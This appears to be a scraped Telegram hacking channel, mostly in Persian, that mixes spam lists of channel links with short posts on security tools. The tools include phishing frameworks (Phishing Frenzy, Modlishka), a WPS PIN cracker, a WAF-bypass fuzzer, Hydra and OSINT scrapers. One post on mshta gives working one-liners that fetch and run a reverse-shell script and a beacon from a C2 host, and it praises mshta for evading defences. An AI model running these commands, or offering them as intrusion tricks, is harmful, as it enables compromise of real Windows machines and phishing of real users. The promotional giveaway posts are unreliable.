13157
@durov Этот пост ни в коем случае не аморален. Этот канал является фан-каналом, и мы не публикуем какой-либо аморальный #telegram_Rules #Правила_телеграма
❌❌ظرفیت درحال تکمیل شدن فقط 54 نفرتون میتونید جوین شید بعدش آموزش پولی میشه از دستش ندید.
Читать полностью…
پادکست و کتاب صوتی رایگان
🔸️JOIN
با کانال آراء و مطالب حقوقی به روز باشید
🔹JOIN
خرید و فروش مقاله/سایتیشن و ثبت اختراع
🔸️JOIN
سینمای موج نو
🔹JOIN
فول پکیج های پولی رو رایگان دانلود کنید
🔸️JOIN
بيشتر بدانيم بهتر زندگى كنيم
🔹JOIN
پکیج های قانون زندگی و توسعه فردی
🔸️JOIN
۳۶۳ کارتون ۸ دقیقه‌ای برای تقویت انگلیسی
🔹JOIN
آموزش مقاله نویسی با هوش مصنوعی
🔸️JOIN
کسب درامد دلاری فقط اینجا
🔹JOIN
بانک آگهی های استخدامی
🔸️JOIN
مسیر حرفه‌ای شدن در اقتصاد و بورس
🔹JOIN
آموزش تکنیک های زبان انگلیسی
🔸️JOIN
کیهانشناسی و کوانتوم
🔹JOIN
نکات کاربردی TOEFL و IELTS
🔸️JOIN
قاضی بازنشسته، وکلای دادگستری
🔹JOIN
تست و آزمونهای آنلاین رایگان برای حسابداران
🔸️JOIN
استخدام سراسری دانشجویان
🔹JOIN
کتاب های صوتی؛ راز های موفقیت
🔸️JOIN
منبع برنامه‌های مود شده اندروید
🔹JOIN
اصلا کتاب نخرین! اینجا مفتی دانلود کنید
🔸️JOIN
کار دانشجویی با حقوق 7 میلیون تومان
🔹JOIN
آموزش هوش مصنوعی و 🇮🇹
🔸️JOIN
استخدام استخدام
🔹JOIN
0تا 100 اموزش ترجمه انگلیسی و مقاله ها
🔸️JOIN
منبع بیو و والپیپرهای خفن
🔹JOIN
اولین کانال آهنگ سه بعدی 3D در ایران
🔸️JOIN
آموزش مفتی برنامه نویسی (100% رایگان)
🔹JOIN
دوره رایگان ادیت با موبایل
🔸️JOIN
کاریابی دانشجویی / درآمدزایی
🔹JOIN
مرجع آهنگ های هشت بعدی 8D
🔸️JOIN
بانک PDF فایل کتاب جزوه همینجاست
🔹JOIN
پکیج های ذهن ثروت ساز
🔸️JOIN
دانشگاه آنلاین روانشناسی در تلگرام
🔹JOIN
آموزش صفرتاصد طراحی وب + سئو
🔸️JOIN
انگلیسی از صفر تا صد با ویس استاد
🔹JOIN
کاریابی و استخدامی
🔸️JOIN
ذهن آهنین؛ مسیر رایگان موفقیت و ثروت
🔹JOIN
فول انگلیسی صحبت کن
🔸️JOIN
آموزش 0/100 اکسل، حسابداری و مالی
🔹JOIN
آموزش تخصصی روابط بین‌الملل
🔸️JOIN
پکیج های 2020 تا 2026
🔹JOIN
آموزش عمومی و پایه ای حسابداری هنرستان
🔸️JOIN
ترفندهای هوش مصنوعی عکاسی
🔹JOIN
هر ترفندی میخوای رایگان دانلود کن
🔸️JOIN
آموزش کامل اهنگسازی - ریمیکس
🔹JOIN
آموزش مفتی برنامه نویسی و امنیت
🔸️JOIN
سیر تا پیاز هک و امنیت (فول رایگان)
🔹JOIN
پروکسی؛ V2RAYNG رایگان؛ VPN مود شده
🔸️JOIN
آموزش کامل « دستورات ترموکس »
🔹JOIN
2 ترابایت پکیج اموزشی و پولی
🔸️JOIN
منبع تمام بازی های هک شده
🔹JOIN
ترفند های طلایی کامپیوتر و موبایل
🔸️JOIN
کانفیگ؛پل ارگو؛فالکن؛منبع کلی فیلترشکن
🔹JOIN
خودآموز آیلتس و تافل
🔸️JOIN
بانک بزرگ استخدامی رایگان VIP
🔹JOIN
آموزش پایه تا پیشرفته امنیت و هک
🔸️JOIN
کودکان دو زبانه به روش علمی
🔹JOIN
سیگنال رایگان ارز دیجیتال با سود بالا
🔸️JOIN
یادگیری مکالمه انگلیسی در منزل
🔹JOIN
مرجع آهنگ انگلیسی و فرانسوی
🔸️JOIN
سیر تا پیاز انگلیسی قورت بده
🔹JOIN
سیرتاپیاز برنامه نویسی رو قورت بده
🔸️JOIN
پاب شدن تمامی پکیج های پولی
🔹JOIN
مرجع اصطلاحات و اسلنگ
🔸️JOIN
یادگیری انگلیسی سخت نیست
🔹JOIN
مرجع ایمووی های خاص
🔸️JOIN
ورزش | سلامتی | باشگاه
🔹JOIN
دوره های رایگان هوش مصنوعی و علم داده
🔸️JOIN
گرامر کامل انگلیسی
🔹JOIN
ترانہ های نوستالژی
🔸️JOIN
سیرتاپیاز هک و امنیت رو قورت بده
🔹JOIN
آموزش ذهن و قوانین کائنات
🔸️JOIN
مبتکر یادگیری زبان انگلیسی در منزل
🔹JOIN
بانک تمامی پکیج های پولی رایگان
🔸️JOIN
موفقیت ، استخدامی ، پول پارو کن
🔹JOIN
آموزش هک و امنیت از سطح صفر
🔸️JOIN
خود آموزهای زبان انگلیسی
🔹JOIN
آموزش حرفه ای پایتون و هوش مصنوعی
🔸️JOIN
هنر خوانش و تحلیل متن
🔹JOIN
صفر تا صد🇪🇩🇮🇹با موبایل
🔸️JOIN
پکیج های ناب بورسی و موفقیت
🔹JOIN
انگلیسی با فیلم و داستان
🔸️JOIN
دنیای کتاب صوتی و PDF
🔹JOIN
پادکست رایگان انگلیسی
🔸️JOIN
آرشیو جامع کتابخانه مجازی
🔹JOIN
انگلیسی + کوئیز
🔸️JOIN
👀 اگه با هوش مصنوعی عکس می‌سازی، این کانال رو ببین!
پرامپت این عکس رو رایگان گذاشتم و می‌تونی مستقیم کپی کنی 😍🔥
هر روز پرامپت‌های جدید و ترند می‌ذارم که بتونی عکس‌هایی شبیه همین بسازی ✨
👇 قبل از اینکه پرامپت‌های خوب بعدی رو از دست بدی، بیا:
/channel/promptandcontentcreation
🔍 ؛WhatWeb؛ در ۵ ثانیه بفهم یک سایت با چه فناوری‌هایی کار می‌کند
تا حالا کنجکاو شدی یک سایت از چه چیزهایی استفاده می‌کند؟ وردپرس یا جنگو؟ Nginx یا Apache؟ WhatWeb با یک دستور، سرنخ‌هایی از فناوری‌های به‌کاررفته در سایت بهت می‌دهد.
این ابزار پاسخ سایت را بررسی می‌کند و با پایگاه داده‌ای از هزاران اثرانگشت تطبیق می‌دهد؛ از سیستم‌های مدیریت محتوا و فریم‌ورک‌ها گرفته تا وب‌سرورها، کتابخانه‌های جاوااسکریپت و ابزارهای آمارگیری.
🧪 شروع سریع در Kali Linux
؛WhatWeb معمولاً به‌صورت پیش‌فرض در Kali نصب است. برای بررسی:
whatweb --version
sudo apt update
sudo apt install whatweb
whatweb http://testphp.vulnweb.com
[200 OK] HTTPServer[nginx/1.19.0], PHP[5.6.40],
Title[Home of Acunetix Art], X-Powered-By[PHP/5.6.40]
200 OK
HTTPServer[nginx/1.19.0]
PHP[5.6.40]
X-Powered-By
Title
t.me/Hack4ManЧитать полностью…
💻 ؛Pixiewps — حملات آفلاین برای شکستن کد PIN WPS
؛Pixiewps — یک ابزار متن‌باز نوشته شده به زبان C است.
🔺این ابزار برای انجام حملات آفلاین و تلاش و خطا (بروت فورس) بر روی کدهای PIN WPS (Wi-Fi Protected Setup) طراحی شده است و از آسیب‌پذیری‌های موجود در برخی از پیاده‌سازی‌های نرم‌افزاری استفاده می‌کند.
🔺این ابزار از روشی به نام "pixie-dust" استفاده می‌کند که امکان بازیابی کد PIN را در عرض چند ثانیه یا دقیقه فراهم می‌کند، که این سرعت از روش‌های آنلاین سنتی برای شکستن رمز عبور بیشتر است.
🛡 لینک به GitHub
t.me/Hack4ManЧитать полностью…
🤒🤒🤒🤒🤒🤒🤒🤒🤒
🌟به مناسبت ۲ ساله شدن عمر چنلمون چنل های vip که قیمت یک میلیون هست به ۱۰ نفر اول رایگان میدیم و بعد از ۱۰ نفر به طور خودکار لینک باطل میشه جوین بدین🤩🤩
/channel/addlist/IkhExTaCdgUzODU0
#تبلیغ_نیست
🤒🤒🤒🤒🤒🤒🤒🤒🤒
💻 ابزار باج‌افزار Matrix — مجموعه‌ای از ابزارهای باج‌افزار
ابزار باج‌افزار Matrix یک مخزن جامع است که شامل فهرست‌بندی ابزارها و روش‌های مورد استفاده توسط گروه‌های مختلف باج‌افزار و سازمان‌های مرتبط با آن می‌شود.
— این ابزار اهداف متعددی را دنبال می‌کند:
1. ارائه لیستی از ابزارها برای شناسایی تهدیدات در محیط‌های مختلف؛
2. ارائه راهکارهایی برای واکنش به حوادث امنیتی؛
3. کمک به شناسایی الگوهای رفتاری در بین شاخه‌های مختلف باج‌افزار؛
4. ارائه منبعی برای تیم‌های متخصص در زمینه امنیت سایبری که تحت رهبری تحلیلگران تهدیدات فعالیت می‌کنند.
📌 لینک به گیتهاپ
t.me/Hack4ManЧитать полностью…
📚 آرشیو معتبرترین مجلات جهان
🆔 @EnglishMagazines_PDF
🔻🔻🔻🔻🔻🔻🔻🔻🔻
پکیج‌های آموزشی 2026 اینجا آپلود شد (فول رایگان)
JOIN
آموزش رایگان طراحی وب سایت + سئو حرفه ای
JOIN
آبجکتای 3DMAX رایگان
JOIN
آموزش برنامهای ویندوز
JOIN
《 طراحی پوسترهای تبلیغاتی 》 : ایده، هنر،خلاقیت
JOIN
((آموزش و کسب درآمد از تدوین و فیلمسازی ))
JOIN
جزوه پولی رایگان دانلود کن!!!
JOIN
پروکسی پرسرعت، VPN و کانفیگ (((مجانی)))
JOIN
بزرگ ترین کاریابی دانشجویی
JOIN
نحوه ساخت هرچی فکر کنی اینجاست!
JOIN
دنیای آموزش های موبایل و کامپیوتر
JOIN
مرکز تعمیرات موبایل
JOIN
رایگان استخدام شو /vip/ !!!
JOIN
آموزش 0 تا 100 هک
JOIN
دنیای آموزش های جذاب کامپیوتر
JOIN
دنیای پکیج های رایگان
JOIN
آموزش Grammer آیلتس
JOIN
صفر تا صد هوش مصنوعی و علم داده
JOIN
آموزش های جذاب برنامه نویسی
JOIN
مکالمات انگلیسی به روش کدینگ
JOIN
پروژه یابی
JOIN
تصاویر جذاب مهندسی
JOIN
علم داده و تحلیل داده
JOIN
مهندسی هوافضا و تکنولوژی جنگنده ها
JOIN
گروه معماری " چهارسوق "
JOIN
سیرتاپیاز برنامه نویسی رو قورت بده
JOIN
مکالمه‌های روزمره انگلیسی
JOIN
کلی آموزش از منابع هوش مصنوعی
JOIN
ترفند های طلایی کامپیوتر و موبایل
JOIN
مدرسه دانش و اطلاعات
JOIN
آموزش شبکه های Cisco و مایکروسات
JOIN
ایدهای دکوراسیون داخلی
JOIN
شغل دانشجویی با درآمد 3/000/000
JOIN
انواع VPN + کانفیگ نامحدود (( رایگان ))
JOIN
آموزش سخت افزار کامپیوتر و لپ‌تاپ (رایگان)
JOIN
آموزش فتوشاپ از مقدماتی تا پیشرفته
JOIN
فول پکیج های پولی رو رایگان دانلود کنید
JOIN
سیر تا پیاز هک و امنیت (( فول رایگان ))
JOIN
آموزش کامل « دستورات ترموکس هک »
JOIN
اخبار هوش مصنوعی + تکنولوژی + IT
JOIN
اسرار موفقیت و سخنان بزرگان
JOIN
آموزش طراحی لوگو ، ایلوستریتور
JOIN
انفجار اسپیکینگ و لیسنینگ
JOIN
دانلود PDF جزوات دانشگاهی
JOIN
انگلیسی 5 دقیقه ای با استاد نیتیو
JOIN
داستانهای مصور صوتی انگلیسی
JOIN
سریال روم " دنیای فیلمای خارجی "
JOIN
آرشیو کامل آبجکتهای رویت
JOIN
آبجکت های 3بعدی 3DDD
JOIN
وقتشه اکسل یاد بگیری
JOIN
ایده کسب وکار پول ساز
JOIN
دانشجویی و اینجا نیستی؟؟؟
JOIN
اسرار موفقیت و سخنان بزرگان
JOIN
کانال استخدامی نفت
JOIN
آموزش های رایگان کامپیوتر
JOIN
❰❰❰ انگلیسی را حرفه‌ای بیاموز ❱❱❱
JOIN
آموزش حرفه ای برنامه نویسی
JOIN
کلی فیلم امریکایی با دو زیرنویس همزمان
JOIN
مکالمات انگلیسی با ترجمه و فایل صوتی
JOIN
پکیج های پولی رایگان
JOIN
دنیای رباتیک و تازه های تکنولوژی
JOIN
گرگ والستریت کارخانه پول سازی
JOIN
وقتشه پاورپوینت را یاد بگیری
JOIN
آموزش حرفه ای برنامه نویسی و طراحی سایت
JOIN
آموزش برق صنعتی
JOIN
مقاله ❖ISI❖ با هوش مصنوعی
JOIN
برنامه نویسی و طراحی سایت
JOIN
اموزش هک غیرقانونی با (موبایل)
JOIN
آموزش های کاربردی برق صنعتی
JOIN
همه چیز درباره طراحی و توسعه وبسایت(( حرفه‌ای))
JOIN
منبع آموزش‌های Python ( رایگان، پروژه محور+ Code)
JOIN
تجمع دانشجویان مکانیک
JOIN
آموزش مبتدی تا حرفه ای برنامه نویسی
JOIN
کدنویسی با هوش‌مصنوعی | Vibe Coding | GPT
JOIN
مجله هوش‌مصنوعی
JOIN
انگلیسی از مبتدی تا پیشرفته
JOIN
دانلود برنامه اندرویدی ها
JOIN
آموزش تکنیک های زبان انگلیسی
JOIN
آموزش برنامه نویسی از پایه (کاملا رایگان)
JOIN
صفرتاصد هوش مصنوعی و پرامپت نویسی (رایگان)
JOIN
آموزش حرفه ای برنامه نویسی پایتون (فول رایگان)
JOIN
➖➖➖➖➖➖
🌈@Armisstab
.
✅ WhatsApp-OSINT
این ابزار، عکس‌های پروفایل واتساپ را دریافت می‌کند، حساب‌های تجاری را بررسی می‌کند، وضعیت کاربران را تعیین می‌کند و دستگاه‌های مرتبط را از طریق رابط OSINT شرکت RapidAPI تجزیه و تحلیل می‌کند.
📁 زبان: پایتون
⭐️ تعداد ستاره‌ها: 973
⬅️ لینک گیت‌هاب
t.me/Hack4ManЧитать полностью…
📊یک ترمینال، مانیتورینگ مستقل را ارائه می‌دهد – نیازی به اجرای برنامه‌هایی مانند htop، iotop، nethogs و df نیست.
🛡یک رابط کاربری مبتنی بر متن (TUI) برای مانیتورینگ سیستم، نوشته شده با زبان Rust: دارای 6 تب با نمودارها برای CPU (هر هسته به صورت جداگانه)، حافظه، دیسک‌ها، شبکه، دما و باتری؛ قابل اجرا در سیستم‌عامل‌های Linux، macOS و Windows.
🔺تب Processes: نمایش ساختار درختی فرآیندها با قابلیت فیلتر و مرتب‌سازی بر اساس هر پارامتر + امکان خاتمه دادن به فرآیندها مستقیماً از طریق رابط کاربری.
🔺تب Disk: نمودارهای تعاملی از میزان استفاده دیسک‌ها با قابلیت نمایش تاریخچه.
🔺تب Network: نمودارهای سرعت شبکه در لحظه با قابلیت بزرگ‌نمایی زمانی.
📥 لینک به گیتهاپ
📌قابلیت سفارشی‌سازی در سطح تم‌ها، ویجت‌ها و فرکانس به‌روزرسانی. از ماوس پشتیبانی می‌شود.
t.me/Hack4ManЧитать полностью…
؛Phishing Frenzy — یک چارچوب برای حملات فیشینگ
🔺؛Phishing Frenzy یک ابزار قدرتمند و متن‌باز است که برای ایجاد و مدیریت کمپین‌های فیشینگ طراحی شده است.
🔺این ابزار، تمام عملکردهای لازم را برای خودکارسازی حملات فیشینگ در اختیار کاربران قرار می‌دهد، از جمله ایجاد وب‌سایت‌های جعلی، ارسال ایمیل‌های فیشینگ و ردیابی نتایج حملات.
📌لینک گیت هاپ
t.me/Hack4ManЧитать полностью…
🤖 ؛PentAGI: سیستم چندعاملی برای تست نفوذ خودکار
🔺این ابزار از عامل‌هایی مبتنی بر GPT، Claude یا DeepSeek برای انجام تست نفوذ استفاده می‌کند. این عامل‌ها با ابزارهای موجود در Kali Linux (بیش از 20 ابزار) کار می‌کنند، خود تصمیم‌گیری می‌کنند و وظایف را انجام می‌دهند.
⚙ قابلیت‌ها:
معماری چندعاملی: عوامل مختلف مسئولیت‌های مختلفی مانند جمع‌آوری اطلاعات، اسکن و بهره‌برداری را بر عهده دارند.
استفاده از ابزارهای Kali (مانند Nmap، Metasploit، Hydra و غیره) از طریق تصاویر Docker.
مدل‌های کنترلی: GPT، Claude، DeepSeek (قابل انتخاب).
رابط کاربری گرافیکی زیبا + مانیتورینگ از طریق Grafana/Prometheus.
امکان مشاهده فعالیت‌های عوامل به صورت زنده.
🔗 GitHub: PentAGI
t.me/Hack4ManЧитать полностью…
🔒 بلک‌بیرد (Blackbird)
👁 یک ابزار OSINT برای جستجوی ردپاهای دیجیتال بر اساس نام کاربری و آدرس ایمیل در شبکه‌های اجتماعی.
بلک‌بیرد، حساب‌ها را در بیش از 600 پلتفرم جستجو می‌کند، و با ترکیب بررسی در دسترس بودن پروفایل‌ها، فیلتر کردن نتایج و تحلیل خودکار، کارایی بالایی دارد. این ابزار از خروجی داده‌ها در قالب‌های PDF و CSV پشتیبانی می‌کند و همچنین از هوش مصنوعی برای پروفایل‌سازی اطلاعات یافت‌شده، مستقیماً از خط فرمان، استفاده می‌کند.
❗️ این ابزار برای متخصصان OSINT، محققان امنیت و تحلیلگران، برای خودکارسازی جمع‌آوری اطلاعات عمومی، بسیار مناسب است.
📱 گیت‌هاب (GitHub)
برچسب‌ها: #ابزارها #هک #امنیت
t.me/Hack4ManЧитать полностью…
🔻دیگه وقتت رو با گشتن دنبال پروژه، و موقعیت شغلی، تلف نکن! از آموزش تا پروژه‌های واقعی، همه اینجا هست!
🔸فرصت رو از دست نده، همه منتظرشن!
🍬🍬🍬🍬🍬🍬🍬🍬
📣بسه اقا ما ی اشتباهی کردیم 2 روز پیش لینک یک لیست ViP رو گذاشتیم، دوباره این دفعه اخره هرکی نیاز داره سریع جوین بده و دیگه نیاید پی وی!!!!
/channel/addlist/YYg8JR9zeBA1YmRk
اخرین باره میزارم⛔️
🍬🍬🍬🍬🍬🍬🍬🍬🍬
⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️
تو این شرایط جنگی و اتش و بس کشورمون دلیلی نمیبینم که از اعضا برای ورود به 👑 پول بگیریم
🙏دعای خیر شما، بزرگترین پاداش ماست
📩📩📩📩📩📩📩📩📩📩📩
#کـارفـرمـــا
نیازمند ادمین پاسخگویی به دایرکت برای چنل زیر
نمونه کار همراه رزومه ارسال بشه
ادمین کاربلد و سابقه کاری داشته باشه
حقوق ماه اول:9تومن
امکان افزایش حقوق برای ماه بعد وجود دارد
/channel/+hIBencYs54s3NDg1
☑️ ؛Plecost: ابزاری برای بررسی آسیب‌پذیری‌ها و یافتن نقاط ضعف در وبلاگ‌های تحت مدیریت وردپرس.
🔺؛Plecost: به مدیران سیستم و صاحبان وبلاگ کمک می‌کند تا امنیت وب‌سایت‌های وردپرسی خود را افزایش دهند.
🔺این ابزار می‌تواند یک آدرس URL را تحلیل کند یا بر اساس نتایجی که توسط گوگل ایندکس شده‌اند، تجزیه و تحلیل انجام دهد.
همچنین، در صورت وجود، کد CVE مربوط به هر افزونه را نمایش می‌دهد.
🛑 لینک به گیتهاپ
t.me/Hack4ManЧитать полностью…
💻 ؛REcollapse — دور زدن مکانیزم‌های امنیتی با استفاده از فازینگ
🔺؛REcollapse یک ابزار کمکی برای پردازش عبارات با قاعده در حالت "جعبه سیاه" است که امکان دور زدن بررسی‌ها و شناسایی نرمال‌سازی‌ها را در برنامه‌های وب فراهم می‌کند.
🔺هدف این ابزار، تولید بار کاری (payload) برای تست است.
🔺این ابزار می‌تواند برای سرقت حساب‌های کاربری بدون نیاز به تعامل کاربر، شناسایی راه‌های جدید برای دور زدن فایروال‌های برنامه‌های وب و موارد دیگر استفاده شود.
📌 لینک گیت‌هاب
t.me/Hack4ManЧитать полностью…
✅بانک از کانال های تخصصی : #کامپیوتر #معماری #برنامه_نویسی #کامپیوتر #مهندسی_برق و غیره هستی ⁉️
🔑پس روی گزینه ADD بزن و تا کلی کانال تخصصی و آموزشی بهت معرفی بشه 👇👇👇
🔴 لینک 1 : /channel/addlist/xFIZJDBxex04Y2E0
🔴 لینک 2 : /channel/addlist/h5J-zqBZ5uUzNTM0
.
🛡 پیکربندی Fail2Ban در لینوکس: محافظت از سرور در برابر حملات brute-force در 5 دقیقه
؛Fail2Ban، لاگ‌های سرویس‌های سیستم را تحلیل می‌کند، فعالیت‌های مشکوک را شناسایی کرده و به طور خودکار آدرس‌های IP مهاجمان را مسدود می‌کند.
پیکربندی سریع:
# ایجاد فایل پیکربندی محلی
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo nano /etc/fail2ban/jail.local
پارامترهای پایه (در ابتدای فایل):
bantime = 10m # مدت زمان مسدودسازی
findtime = 10m # بازه زمانی تحلیل
maxretry = 5 # تعداد تلاش‌ها قبل از مسدودسازی
[sshd]
enabled = true
port = ssh
logpath = /var/log/auth.log
maxretry = 5
sudo systemctl start fail2ban
sudo systemctl enable fail2ban
sudo systemctl status fail2ban
sudo fail2ban-client status sshd
t.me/Hack4ManЧитать полностью…
🛡؛PatchMon: مدیریت متمرکز به‌روزرسانی‌ها در محیط‌های سرور
🔺این ابزار برای مدیران سیستم و تیم‌های امنیتی طراحی شده است و امکان مدیریت ایمن و متمرکز به‌روزرسانی‌ها را در سرورهای مختلف فراهم می‌کند. عوامل (agents) فقط از طریق کانال‌های خروجی با سرور PatchMon ارتباط برقرار می‌کنند، بنابراین نیازی به باز کردن پورت‌ها و مواجهه با خطرات امنیتی نیست.
قابلیت‌ها:
مدیریت متمرکز پچ‌ها در تعداد زیادی سرور
عوامل از طریق اتصالات خروجی کار می‌کنند (بدون نیاز به پورت‌های باز)
نمایش کامل وضعیت به‌روزرسانی‌ها
خودکارسازی ایمن فرآیندها
t.me/Hack4ManЧитать полностью…
📦 کتابخانه روز: PyJWT — کار با توکن‌های وب JSON
؛JWT یک استاندارد برای انتقال امن داده‌ها بین طرفین است. PyJWT یک کتابخانه برای ایجاد و اعتبارسنجی این توکن‌ها است.
نصب:pip install pyjwt
مثال: ایجاد و بررسی توکن:
import jwt
import datetime
SECRET_KEY = "your-secret-key"
payload = {
"user_id": 123,
"username": "alex",
"exp": datetime.datetime.now(datetime.UTC) + datetime.timedelta(hours=1)
}
token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
print(f"توکن: {token}")try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
print(f"سلام، {decoded['username']}!")
except jwt.ExpiredSignatureError:
print("توکن منقضی شده است")
except jwt.InvalidTokenError:
print("توکن نامعتبر است")
t.me/Hack4ManЧитать полностью…
💡ترفند: mshta - ایجاد یک شل معکوس از طریق برنامه HTML
🔺فکر می‌کنید mshta.exe فقط برای اجرای فایل‌های .hta استفاده می‌شود؟ خنده‌دار است، اما نه. این یک فایل اجرایی مخفی ویندوز است که می‌تواند جاوااسکریپت و VBScript را مستقیماً از حافظه اجرا کند. این فایل توسط مایکروسافت امضا شده است، به ندرت مسدود می‌شود و حتی زمانی که PowerShell غیرفعال است، کار می‌کند. بریم سراغش!
🔺؛mshta چه قابلیت‌هایی دارد (و چرا این موضوع عالی است)
1⃣ اجرای اسکریپت از حافظه بدون فایل روی دیسک
mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami",1,true);close()mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://c2.com/rev.ps1')",0,true);close()mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("certutil -urlcache -split -f http://c2.com/beacon.exe beacon.exe && beacon.exe",0,true);close()t.me/Hack4ManЧитать полностью…
🕷؛TGSpyder: ابزاری OSINT برای جمع‌آوری داده‌ها از تلگرام
یک ابزار خط فرمان (CLI) برای تحلیلگران، روزنامه‌نگاران و محققان. این ابزار، اعضا، پیام‌ها، لینک‌های دعوت و فراداده‌ها را از گروه‌ها/کانال‌های عمومی و خصوصی جمع‌آوری می‌کند. تمام اطلاعات به فرمت CSV خروجی داده می‌شوند تا تجزیه و تحلیل آن‌ها آسان‌تر باشد.
قابلیت‌ها:
جمع‌آوری لیست اعضا (در صورت امکان)
خروجی گرفتن از تاریخچه پیام‌ها
استخراج و حذف لینک‌های تکراری t.me
جستجوی کاربر بر اساس نام کاربری یا شناسه (ID)
تعیین سازنده بسته‌های استیکر بر اساس شناسه (ID) مجموعه استیکرها
⚙ نحوه نصب:
bash
git clone https://github.com/Darksight-Analytics/tgspyder.git
cd tgspyder
pip install -r requirements.txt
pip install -e .
bash
tgspyder /channel/examplegroup --members --chats
tgspyder --user @username
tgspyder --sticker-pack /channel/addstickers/packname
t.me/Hack4ManЧитать полностью…
👩💻 Hydra
🔺هیدرا ابزاری است که امکان انتخاب خودکار نام کاربری و رمز عبور را برای تعداد زیادی از سرویس‌های شبکه فراهم می‌کند. این ابزار از مجموعه‌ای گسترده از پروتکل‌ها پشتیبانی می‌کند، به طور انعطاف‌پذیری برای سناریوهای مختلف قابل تنظیم است و اغلب برای بررسی امنیت اطلاعات کاربری در محیط‌های آزمایشی استفاده می‌شود. علاوه بر این، هیدرا برای خودکارسازی حملات به سرویس‌هایی که از احراز هویت پایه استفاده می‌کنند، مناسب است.
⬅️ لینک گیت‌هاب
t.me/Hack4ManЧитать полностью…
👩💻 Modlishka
🔺؛Modlishka به شما امکان می‌دهد از یک پروکسی HTTP معکوس خودکار استفاده کنید. کاربر همچنین می‌تواند از این ابزار برای "مسموم کردن" خودکار حافظه پنهان (کش) مرورگر با استفاده از کد وضعیت HTTP 301 استفاده کند. علاوه بر این، می‌توان از آن برای جمع‌آوری آدرس‌های URL که از TLS استفاده می‌کنند، بهره برد. Modlishka از اکثر روش‌های احراز هویت چند عاملی پشتیبانی می‌کند و می‌تواند آسیب‌پذیری‌های مربوط به 2FA (احراز هویت دو مرحله‌ای) را شناسایی و برجسته کند.
⬅️ لینک به GitHub
t.me/Hack4ManЧитать полностью…